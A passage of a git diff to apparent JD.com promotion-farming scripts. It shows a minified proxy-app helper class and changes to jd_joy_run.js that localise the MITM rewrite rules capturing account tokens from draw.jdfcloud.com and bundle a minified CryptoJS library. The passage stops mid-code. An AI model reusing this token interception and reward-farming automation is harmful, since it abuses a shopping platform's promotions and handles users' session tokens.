(/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/jd_joy_run.js b/jd_joy_run.js index 9e89cdf..d61e1b4 100755 --- a/jd_joy_run.js +++ b/jd_joy_run.js @@ -10,48 +10,677 @@ token获取途径: 2、或者每天去'来客有礼'小程序->宠汪汪里面,领狗粮->签到领京豆 也可获取Token(此方法每天只能获取一次) 脚本里面有内置提供的friendPin,如果你没有修改脚本或者BoxJs处填写自己的互助码,会默认给脚本内置的助力。 -docker 设置环境变量 JOY_RUN_HELP_MYSELF 为true,则开启账号内部互助.默认关闭(即给脚本作者lxk0301内置的助力). +docker 设置环境变量 JOY_RUN_HELP_MYSELF 为true,则开启账号内部互助.默认关闭(即给脚本作者内置的助力). [MITM] hostname = draw.jdfcloud.com ===========Surge================= [Script] -宠汪汪邀请助力与赛跑助力 = type=cron,cronexp="15 10 * * *",wake-system=1,timeout=3600,script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_joy_run.js -宠汪汪助力更新Token = type=http-response,pattern=^https:\/\/draw\.jdfcloud\.com(\/mirror)?\/\/api\/user\/addUser\?code=, requires-body=1, max-size=0, script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_joy_run.js -宠汪汪助力获取Token = type=http-request,pattern=^https:\/\/draw\.jdfcloud\.com(\/mirror)?\/\/api\/user\/user\/detail\?openId=, max-size=0, script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_joy_run.js +宠汪汪邀请助力与赛跑助力 = type=cron,cronexp="15 10 * * *",wake-system=1,timeout=3600,script-path=jd_joy_run.js +宠汪汪助力更新Token = type=http-response,pattern=^https:\/\/draw\.jdfcloud\.com(\/mirror)?\/\/api\/user\/addUser\?code=, requires-body=1, max-size=0, script-path=jd_joy_run.js +宠汪汪助力获取Token = type=http-request,pattern=^https:\/\/draw\.jdfcloud\.com(\/mirror)?\/\/api\/user\/user\/detail\?openId=, max-size=0, script-path=jd_joy_run.js ===================Quantumult X===================== [task_local] # 宠汪汪邀请助力与赛跑助力 -15 10 * * * https://gitee.com/lxk0301/jd_scripts/raw/master/jd_joy_run.js, tag=宠汪汪邀请助力与赛跑助力, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdcww.png, enabled=true +15 10 * * * jd_joy_run.js, tag=宠汪汪邀请助力与赛跑助力, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdcww.png, enabled=true [rewrite_local] # 宠汪汪助力更新Token -^https:\/\/draw\.jdfcloud\.com(\/mirror)?\/\/api\/user\/addUser\?code= url script-response-body https://gitee.com/lxk0301/jd_scripts/raw/master/jd_joy_run.js +^https:\/\/draw\.jdfcloud\.com(\/mirror)?\/\/api\/user\/addUser\?code= url script-response-body jd_joy_run.js # 宠汪汪助力获取Token -^https:\/\/draw\.jdfcloud\.com(\/mirror)?\/\/api\/user\/user\/detail\?openId= url script-request-header https://gitee.com/lxk0301/jd_scripts/raw/master/jd_joy_run.js +^https:\/\/draw\.jdfcloud\.com(\/mirror)?\/\/api\/user\/user\/detail\?openId= url script-request-header jd_joy_run.js =====================Loon===================== [Script] -cron "15 10 * * *" script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_joy_run.js, tag=宠汪汪邀请助力与赛跑助力 -http-response ^https:\/\/draw\.jdfcloud\.com(\/mirror)?\/\/api\/user\/addUser\?code= script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_joy_run.js, requires-body=true, timeout=10, tag=宠汪汪助力更新Token -http-request ^https:\/\/draw\.jdfcloud\.com(\/mirror)?\/\/api\/user\/user\/detail\?openId= script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_joy_run.js, timeout=3600, tag=宠汪汪助力获取Token +cron "15 10 * * *" script-path=jd_joy_run.js, tag=宠汪汪邀请助力与赛跑助力 +http-response ^https:\/\/draw\.jdfcloud\.com(\/mirror)?\/\/api\/user\/addUser\?code= script-path=jd_joy_run.js, requires-body=true, timeout=10, tag=宠汪汪助力更新Token +http-request ^https:\/\/draw\.jdfcloud\.com(\/mirror)?\/\/api\/user\/user\/detail\?openId= script-path=jd_joy_run.js, timeout=3600, tag=宠汪汪助力获取Token */ -!function (t, r) { "object" == typeof exports ? module.exports = exports = r() : "function" == typeof define && define.amd ? define([], r) : t.CryptoJS = r() }(this, function () { - var t = t || function (t, r) { var e = Object.create || function () { function t() { } return function (r) { var e; return t.prototype = r, e = new t, t.prototype = null, e } }(), i = {}, n = i.lib = {}, o = n.Base = function () { return { extend: function (t) { var r = e(this); return t && r.mixIn(t), r.hasOwnProperty("init") && this.init !== r.init || (r.init = function () { r.$super.init.apply(this, arguments) }), r.init.prototype = r, r.$super = this, r }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var r in t) t.hasOwnProperty(r) && (this[r] = t[r]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } } }(), s = n.WordArray = o.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 4 * t.length }, toString: function (t) { return (t || c).stringify(this) }, concat: function (t) { var r = this.words, e = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = e[o >>> 2] >>> 24 - o % 4 * 8 & 255; r[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (var o = 0; o < n; o += 4)r[i + o >>> 2] = e[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var r = this.words, e = this.sigBytes; r[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, r.length = t.ceil(e / 4) }, clone: function () { var t = o.clone.call(this); return t.words = this.words.slice(0), t }, random: function (r) { for (var e, i = [], n = function (r) { var r = r, e = 987654321, i = 4294967295; return function () { e = 36969 * (65535 & e) + (e >> 16) & i, r = 18e3 * (65535 & r) + (r >> 16) & i; var n = (e << 16) + r & i; return n /= 4294967296, n += .5, n * (t.random() > .5 ? 1 : -1) } }, o = 0; o < r; o += 4) { var a = n(4294967296 * (e || t.random())); e = 987654071 * a(), i.push(4294967296 * a() | 0) } return new s.init(i, r) } }), a = i.enc = {}, c = a.Hex = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i += 2)e[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new s.init(e, r / 2) } }, h = a.Latin1 = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new s.init(e, r) } }, l = a.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, f = n.BufferedBlockAlgorithm = o.extend({ reset: function () { this._data = new s.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = l.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (r) { var e = this._data, i = e.words, n = e.sigBytes, o = this.blockSize, a = 4 * o, c = n / a; c = r ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0); var h = c * o, l = t.min(4 * h, n); if (h) { for (var f = 0; f < h; f += o)this._doProcessBlock(i, f); var u = i.splice(0, h); e.sigBytes -= l } return new s.init(u, l) }, clone: function () { var t = o.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), u = (n.Hasher = f.extend({ cfg: o.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { f.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, blockSize: 16, _createHelper: function (t) { return function (r, e) { return new t.init(e).finalize(r) } }, _createHmacHelper: function (t) { return function (r, e) { return new u.HMAC.init(t, e).finalize(r) } } }), i.algo = {}); return i }(Math); return function () { function r(t, r, e) { for (var i = [], o = 0, s = 0; s < r; s++)if (s % 4) { var a = e[t.charCodeAt(s - 1)] << s % 4 * 2, c = e[t.charCodeAt(s)] >>> 6 - s % 4 * 2; i[o >>> 2] |= (a | c) << 24 - o % 4 * 8, o++ } return n.create(i, o) } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Base64 = { stringify: function (t) { var r = t.words, e = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < e; o += 3)for (var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255, a = r[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255, c = r[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, h = s << 16 | a << 8 | c, l = 0; l < 4 && o + .75 * l < e; l++)n.push(i.charAt(h >>> 6 * (3 - l) & 63)); var f = i.charAt(64); if (f) for (; n.length % 4;)n.push(f); return n.join("") }, parse: function (t) { var e = t.length, i = this._map, n = this._reverseMap; if (!n) { n = this._reverseMap = []; for (var o = 0; o < i.length; o++)n[i.charCodeAt(o)] = o } var s = i.charAt(64); if (s) { var a = t.indexOf(s); a !== -1 && (e = a) } return r(t, e, n) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" } }(), function (r) { function e(t, r, e, i, n, o, s) { var a = t + (r & e | ~r & i) + n + s; return (a << o | a >>> 32 - o) + r } function i(t, r, e, i, n, o, s) { var a = t + (r & i | e & ~i) + n + s; return (a << o | a >>> 32 - o) + r } function n(t, r, e, i, n, o, s) { var a = t + (r ^ e ^ i) + n + s; return (a << o | a >>> 32 - o) + r } function o(t, r, e, i, n, o, s) { var a = t + (e ^ (r | ~i)) + n + s; return (a << o | a >>> 32 - o) + r } var s = t, a = s.lib, c = a.WordArray, h = a.Hasher, l = s.algo, f = []; !function () { for (var t = 0; t < 64; t++)f[t] = 4294967296 * r.abs(r.sin(t + 1)) | 0 }(); var u = l.MD5 = h.extend({ _doReset: function () { this._hash = new c.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, r) { for (var s = 0; s < 16; s++) { var a = r + s, c = t[a]; t[a] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } var h = this._hash.words, l = t[r + 0], u = t[r + 1], d = t[r + 2], v = t[r + 3], p = t[r + 4], _ = t[r + 5], y = t[r + 6], g = t[r + 7], B = t[r + 8], w = t[r + 9], k = t[r + 10], S = t[r + 11], m = t[r + 12], x = t[r + 13], b = t[r + 14], H = t[r + 15], z = h[0], A = h[1], C = h[2], D = h[3]; z = e(z, A, C, D, l, 7, f[0]), D = e(D, z, A, C, u, 12, f[1]), C = e(C, D, z, A, d, 17, f[2]), A = e(A, C, D, z, v, 22, f[3]), z = e(z, A, C, D, p, 7, f[4]), D = e(D, z, A, C, _, 12, f[5]), C = e(C, D, z, A, y, 17, f[6]), A = e(A, C, D, z, g, 22, f[7]), z = e(z, A, C, D, B, 7, f[8]), D = e(D, z, A, C, w, 12, f[9]), C = e(C, D, z, A, k, 17, f[10]), A = e(A, C, D, z, S, 22, f[11]), z = e(z, A, C, D, m, 7, f[12]), D = e(D, z, A, C, x, 12, f[13]), C = e(C, D, z, A, b, 17, f[14]), A = e(A, C, D, z, H, 22, f[15]), z = i(z, A, C, D, u, 5, f[16]), D = i(D, z, A, C, y, 9, f[17]), C = i(C, D, z, A, S, 14, f[18]), A = i(A, C, D, z, l, 20, f[19]), z = i(z, A, C, D, _, 5, f[20]), D = i(D, z, A, C, k, 9, f[21]), C = i(C, D, z, A, H, 14, f[22]), A = i(A, C, D, z, p, 20, f[23]), z = i(z, A, C, D, w, 5, f[24]), D = i(D, z, A, C, b, 9, f[25]), C = i(C, D, z, A, v, 14, f[26]), A = i(A, C, D, z, B, 20, f[27]), z = i(z, A, C, D, x, 5, f[28]), D = i(D, z, A, C, d, 9, f[29]), C = i(C, D, z, A, g, 14, f[30]), A = i(A, C, D, z, m, 20, f[31]), z = n(z, A, C, D, _, 4, f[32]), D = n(D, z, A, C, B, 11, f[33]), C = n(C, D, z, A, S, 16, f[34]), A = n(A, C, D, z, b, 23, f[35]), z = n(z, A, C, D, u, 4, f[36]), D = n(D, z, A, C, p, 11, f[37]), C = n(C, D, z, A, g, 16, f[38]), A = n(A, C, D, z, k, 23, f[39]), z = n(z, A, C, D, x, 4, f[40]), D = n(D, z, A, C, l, 11, f[41]), C = n(C, D, z, A, v, 16, f[42]), A = n(A, C, D, z, y, 23, f[43]), z = n(z, A, C, D, w, 4, f[44]), D = n(D, z, A, C, m, 11, f[45]), C = n(C, D, z, A, H, 16, f[46]), A = n(A, C, D, z, d, 23, f[47]), z = o(z, A, C, D, l, 6, f[48]), D = o(D, z, A, C, g, 10, f[49]), C = o(C, D, z, A, b, 15, f[50]), A = o(A, C, D, z, _, 21, f[51]), z = o(z, A, C, D, m, 6, f[52]), D = o(D, z, A, C, v, 10, f[53]), C = o(C, D, z, A, k, 15, f[54]), A = o(A, C, D, z, u, 21, f[55]), z = o(z, A, C, D, B, 6, f[56]), D = o(D, z, A, C, H, 10, f[57]), C = o(C, D, z, A, y, 15, f[58]), A = o(A, C, D, z, x, 21, f[59]), z = o(z, A, C, D, p, 6, f[60]), D = o(D, z, A, C, S, 10, f[61]), C = o(C, D, z, A, d, 15, f[62]), A = o(A, C, D, z, w, 21, f[63]), h[0] = h[0] + z | 0, h[1] = h[1] + A | 0, h[2] = h[2] + C | 0, h[3] = h[3] + D | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; e[n >>> 5] |= 128 << 24 - n % 32; var o = r.floor(i / 4294967296), s = i; e[(n + 64 >>> 9 << 4) + 15] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), e[(n + 64 >>> 9 << 4) + 14] = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var a = this._hash, c = a.words, h = 0; h < 4; h++) { var l = c[h]; c[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } return a }, clone: function () { var t = h.clone.call(this); return t._hash = this._hash.clone(), t } }); s.MD5 = h._createHelper(u), s.HmacMD5 = h._createHmacHelper(u) }(Math), function () { var r = t, e = r.lib, i = e.WordArray, n = e.Hasher, o = r.algo, s = [], a = o.SHA1 = n.extend({ _doReset: function () { this._hash = new i.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], a = e[3], c = e[4], h = 0; h < 80; h++) { if (h < 16) s[h] = 0 | t[r + h]; else { var l = s[h - 3] ^ s[h - 8] ^ s[h - 14] ^ s[h - 16]; s[h] = l << 1 | l >>> 31 } var f = (i << 5 | i >>> 27) + c + s[h]; f += h < 20 ? (n & o | ~n & a) + 1518500249 : h < 40 ? (n ^ o ^ a) + 1859775393 : h < 60 ? (n & o | n & a | o & a) - 1894007588 : (n ^ o ^ a) - 899497514, c = a, a = o, o = n << 30 | n >>> 2, n = i, i = f } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + a | 0, e[4] = e[4] + c | 0 }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; return r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = Math.floor(e / 4294967296), r[(i + 64 >>> 9 << 4) + 15] = e, t.sigBytes = 4 * r.length, this._process(), this._hash }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t } }); r.SHA1 = n._createHelper(a), r.HmacSHA1 = n._createHmacHelper(a) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.algo, a = [], c = []; !function () { function t(t) { for (var e = r.sqrt(t), i = 2; i <= e; i++)if (!(t % i)) return !1; return !0 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var i = 2, n = 0; n < 64;)t(i) && (n < 8 && (a[n] = e(r.pow(i, .5))), c[n] = e(r.pow(i, 1 / 3)), n++), i++ }(); var h = [], l = s.SHA256 = o.extend({ _doReset: function () { this._hash = new n.init(a.slice(0)) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], l = e[5], f = e[6], u = e[7], d = 0; d < 64; d++) { if (d < 16) h[d] = 0 | t[r + d]; else { var v = h[d - 15], p = (v << 25 | v >>> 7) ^ (v << 14 | v >>> 18) ^ v >>> 3, _ = h[d - 2], y = (_ << 15 | _ >>> 17) ^ (_ << 13 | _ >>> 19) ^ _ >>> 10; h[d] = p + h[d - 7] + y + h[d - 16] } var g = a & l ^ ~a & f, B = i & n ^ i & o ^ n & o, w = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), k = (a << 26 | a >>> 6) ^ (a << 21 | a >>> 11) ^ (a << 7 | a >>> 25), S = u + k + g + c[d] + h[d], m = w + B; u = f, f = l, l = a, a = s + S | 0, s = o, o = n, n = i, i = S + m | 0 } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + s | 0, e[4] = e[4] + a | 0, e[5] = e[5] + l | 0, e[6] = e[6] + f | 0, e[7] = e[7] + u | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; return e[n >>> 5] |= 128 << 24 - n % 32, e[(n + 64 >>> 9 << 4) + 14] = r.floor(i / 4294967296), e[(n + 64 >>> 9 << 4) + 15] = i, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = o.clone.call(this); return t._hash = this._hash.clone(), t } }); e.SHA256 = o._createHelper(l), e.HmacSHA256 = o._createHmacHelper(l) }(Math), function () { function r(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Utf16 = o.Utf16BE = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n += 2) { var o = r[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(e, 2 * r) } }; o.Utf16LE = { stringify: function (t) { for (var e = t.words, i = t.sigBytes, n = [], o = 0; o < i; o += 2) { var s = r(e[o >>> 2] >>> 16 - o % 4 * 8 & 65535); n.push(String.fromCharCode(s)) } return n.join("") }, parse: function (t) { for (var e = t.length, i = [], o = 0; o < e; o++)i[o >>> 1] |= r(t.charCodeAt(o) << 16 - o % 2 * 16); return n.create(i, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var r = t, e = r.lib, i = e.WordArray, n = i.init, o = i.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var r = t.byteLength, e = [], i = 0; i < r; i++)e[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, e, r) } else n.apply(this, arguments) }; o.prototype = i } }(), function (r) { function e(t, r, e) { return t ^ r ^ e } function i(t, r, e) { return t & r | ~t & e } function n(t, r, e) { return (t | ~r) ^ e } function o(t, r, e) { return t & e | r & ~e } function s(t, r, e) { return t ^ (r | ~e) } function a(t, r) { return t << r | t >>> 32 - r } var c = t, h = c.lib, l = h.WordArray, f = h.Hasher, u = c.algo, d = l.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), v = l.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), p = l.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), _ = l.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), y = l.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), g = l.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), B = u.RIPEMD160 = f.extend({ _doReset: function () { this._hash = l.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var c = 0; c < 16; c++) { var h = r + c, l = t[h]; t[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } var f, u, B, w, k, S, m, x, b, H, z = this._hash.words, A = y.words, C = g.words, D = d.words, R = v.words, E = p.words, M = _.words; S = f = z[0], m = u = z[1], x = B = z[2], b = w = z[3], H = k = z[4]; for (var F, c = 0; c < 80; c += 1)F = f + t[r + D[c]] | 0, F += c < 16 ? e(u, B, w) + A[0] : c < 32 ? i(u, B, w) + A[1] : c < 48 ? n(u, B, w) + A[2] : c < 64 ? o(u, B, w) + A[3] : s(u, B, w) + A[4], F |= 0, F = a(F, E[c]), F = F + k | 0, f = k, k = w, w = a(B, 10), B = u, u = F, F = S + t[r + R[c]] | 0, F += c < 16 ? s(m, x, b) + C[0] : c < 32 ? o(m, x, b) + C[1] : c < 48 ? n(m, x, b) + C[2] : c < 64 ? i(m, x, b) + C[3] : e(m, x, b) + C[4], F |= 0, F = a(F, M[c]), F = F + H | 0, S = H, H = b, b = a(x, 10), x = m, m = F; F = z[1] + B + b | 0, z[1] = z[2] + w + H | 0, z[2] = z[3] + k + S | 0, z[3] = z[4] + f + m | 0, z[4] = z[0] + u + x | 0, z[0] = F }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8), t.sigBytes = 4 * (r.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var a = o[s]; o[s] = 16711935 & (a << 8 